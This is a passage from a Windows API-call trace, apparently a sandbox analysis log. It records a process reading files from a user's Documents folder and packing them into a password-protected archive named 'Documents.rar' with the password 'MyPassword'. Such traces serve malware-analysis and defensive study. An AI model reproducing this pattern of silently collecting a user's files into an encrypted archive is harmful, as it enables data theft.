phProv=0x1cd850*=0x3025f0) returned 1 [0068.481] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.481] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.481] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x62)) [0068.481] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.481] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14382167972) returned 1 [0068.481] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x16aa1, lpOverlapped=0x0) returned 1 [0068.482] ReadFile (in: hFile=0x1b0, lpBuffer=0x36b6ae1, nNumberOfBytesToRead=0xe955f, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36b6ae1*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.482] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.482] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.482] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.482] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.482] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fe0, Size=0x48) returned 0x39db40 [0068.482] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.482] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.482] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fe0, Size=0x48) returned 0x39daf0 [0068.482] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.482] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.482] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.482] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.482] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64010 | out: hHeap=0x2e0000) returned 1 [0068.482] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63fe0 | out: hHeap=0x2e0000) returned 1 [0068.482] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fb0, Size=0x48) returned 0x39db40 [0068.482] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.482] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.482] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.484] GetTickCount () returned 0xa67699 [0068.484] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14382445512) returned 1 [0068.484] GetTickCount () returned 0xa67699 [0068.484] GetTickCount () returned 0xa67699 [0068.484] GetTickCount () returned 0xa67699 [0068.484] CoCreateInstance (in: rclsid=0x13f27f5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x13f27cc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0x1cd2e8 | out: ppv=0x1cd2e8*=0x3b63fb0) returned 0x0 [0068.484] TaskbarList:ITaskbarList3:SetProgressState (This=0x3b63fb0, hwnd=0x10278, tbpFlags=2) returned 0x0 [0068.484] TaskbarList:ITaskbarList3:SetProgressValue (This=0x3b63fb0, hwnd=0x10278, ullCompleted=0x2c64d1, ullTotal=0x4b42ce) returned 0x0 [0068.485] TaskbarList:IUnknown:Release (This=0x3b63fb0) returned 0x0 [0068.485] GetLastError () returned 0x36b7 [0068.485] SetLastError (dwErrCode=0x36b7) [0068.485] GetDlgItem (hDlg=0x10278, nIDDlgItem=157) returned 0x1029a [0068.485] GetDlgItem (hDlg=0x10278, nIDDlgItem=152) returned 0x10298 [0068.485] GetWindowTextW (in: hWnd=0x10298, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 39%") returned 5 [0068.485] SetWindowTextW (hWnd=0x10298, lpString=" 58%") returned 1 [0068.485] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.485] GetDlgItem (hDlg=0x10278, nIDDlgItem=164) returned 0x10294 [0068.486] GetWindowTextW (in: hWnd=0x10294, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 95%") returned 5 [0068.486] SetWindowTextW (hWnd=0x10294, lpString=" 87%") returned 1 [0068.486] SendMessageW (hWnd=0x1029a, Msg=0x402, wParam=0x3a, lParam=0x0) returned 0x27 [0068.486] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.486] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.486] GetFocus () returned 0x0 [0068.486] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.486] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.486] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.486] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.486] ResetEvent (hEvent=0x1a4) returned 1 [0068.486] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.488] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.488] ResetEvent (hEvent=0x1a4) returned 1 [0068.488] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.491] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.491] ResetEvent (hEvent=0x1a4) returned 1 [0068.491] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.493] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.494] GetTickCount () returned 0xa676a8 [0068.494] GetLastError () returned 0x0 [0068.494] SetLastError (dwErrCode=0x0) [0068.494] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.494] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.494] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbe80, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.494] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.494] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14383421309) returned 1 [0068.494] GetTickCount () returned 0xa676a8 [0068.494] GetTickCount () returned 0xa676a8 [0068.494] GetTickCount () returned 0xa676a8 [0068.494] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.494] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.494] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.494] ResetEvent (hEvent=0x190) returned 1 [0068.494] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.495] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.495] ResetEvent (hEvent=0x190) returned 1 [0068.495] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.496] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.496] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.496] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.496] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x26f2a9 [0068.496] SetFilePointer (in: hFile=0x198, lDistanceToMove=96, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x26f309 [0068.496] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.496] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.496] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.496] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.496] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x16b60, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x16b60, lpOverlapped=0x0) returned 1 [0068.498] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.498] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.498] SetFilePointer (in: hFile=0x198, lDistanceToMove=2552489, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x26f2a9 [0068.498] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x26f2a9 [0068.498] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.498] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.498] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fe0, Size=0x48) returned 0x39daf0 [0068.498] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.498] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.498] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fe0, Size=0x48) returned 0x39db40 [0068.498] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.498] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.498] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.498] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64010 | out: hHeap=0x2e0000) returned 1 [0068.498] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63fe0 | out: hHeap=0x2e0000) returned 1 [0068.498] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fb0, Size=0x48) returned 0x39daf0 [0068.498] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.498] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x60, lpOverlapped=0x0) returned 1 [0068.498] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.498] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x60) returned 0x3b648a0 [0068.498] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.498] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.498] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x285e69 [0068.498] CloseHandle (hObject=0x1b0) returned 1 [0068.498] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.498] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.498] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.498] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.498] FindFirstFileW (in: lpFileName="Pkijc OVe1YF8QnT.xlsx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.498] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.498] CreateFileW (lpFileName="Pkijc OVe1YF8QnT.xlsx" (normalized: "c:\\users\\whuoxysd\\documents\\pkijc ove1yf8qnt.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.499] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.499] GetTickCount () returned 0xa676a8 [0068.499] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.499] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.499] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.499] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.499] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="payrmo-.docx") returned 12 [0068.499] SetWindowTextW (hWnd=0x10280, lpString="Pkijc OVe1YF8QnT.xlsx") returned 1 [0068.499] GetTickCount () returned 0xa676a8 [0068.499] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.499] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.499] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.499] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.500] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x82)) [0068.500] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.500] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14383998436) returned 1 [0068.501] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x7b45, lpOverlapped=0x0) returned 1 [0068.501] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a7b85, nNumberOfBytesToRead=0xf84bb, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a7b85*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.502] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.502] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64010, Size=0x48) returned 0x39db40 [0068.502] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.502] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.502] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64010, Size=0x48) returned 0x39daf0 [0068.502] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.502] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.502] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.502] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.502] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64040 | out: hHeap=0x2e0000) returned 1 [0068.502] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64010 | out: hHeap=0x2e0000) returned 1 [0068.502] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fe0, Size=0x48) returned 0x39db40 [0068.502] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.502] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.502] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.504] GetTickCount () returned 0xa676b8 [0068.504] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14384484044) returned 1 [0068.504] GetTickCount () returned 0xa676b8 [0068.504] GetTickCount () returned 0xa676b8 [0068.505] GetTickCount () returned 0xa676b8 [0068.505] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.505] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.505] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.505] ResetEvent (hEvent=0x1a4) returned 1 [0068.505] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.507] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.507] ResetEvent (hEvent=0x1a4) returned 1 [0068.507] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.508] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.508] GetTickCount () returned 0xa676b8 [0068.508] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14384848412) returned 1 [0068.515] GetTickCount () returned 0xa676b8 [0068.515] GetTickCount () returned 0xa676b8 [0068.515] GetTickCount () returned 0xa676b8 [0068.515] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.515] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.515] GetFocus () returned 0x0 [0068.515] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.515] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.515] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.515] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.515] ResetEvent (hEvent=0x190) returned 1 [0068.515] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.516] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.516] ResetEvent (hEvent=0x190) returned 1 [0068.516] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.516] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.516] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.516] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.516] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x285e69 [0068.516] SetFilePointer (in: hFile=0x198, lDistanceToMove=105, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x285ed2 [0068.516] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.516] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.516] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.516] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.516] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.516] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x7b90, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x7b90, lpOverlapped=0x0) returned 1 [0068.517] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.517] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.517] SetFilePointer (in: hFile=0x198, lDistanceToMove=2645609, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x285e69 [0068.517] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x285e69 [0068.517] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.517] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.517] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64010, Size=0x48) returned 0x39daf0 [0068.518] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.518] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.518] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64010, Size=0x48) returned 0x39db40 [0068.518] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.518] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.518] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64010 [0068.518] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64040 [0068.518] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64040 | out: hHeap=0x2e0000) returned 1 [0068.518] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b64010 | out: hHeap=0x2e0000) returned 1 [0068.518] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fe0, Size=0x48) returned 0x39daf0 [0068.518] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.518] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x69, lpOverlapped=0x0) returned 1 [0068.518] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.518] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x69) returned 0x3b4bf90 [0068.518] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.518] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.518] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x28da62 [0068.518] CloseHandle (hObject=0x1b0) returned 1 [0068.518] PeekMessageW 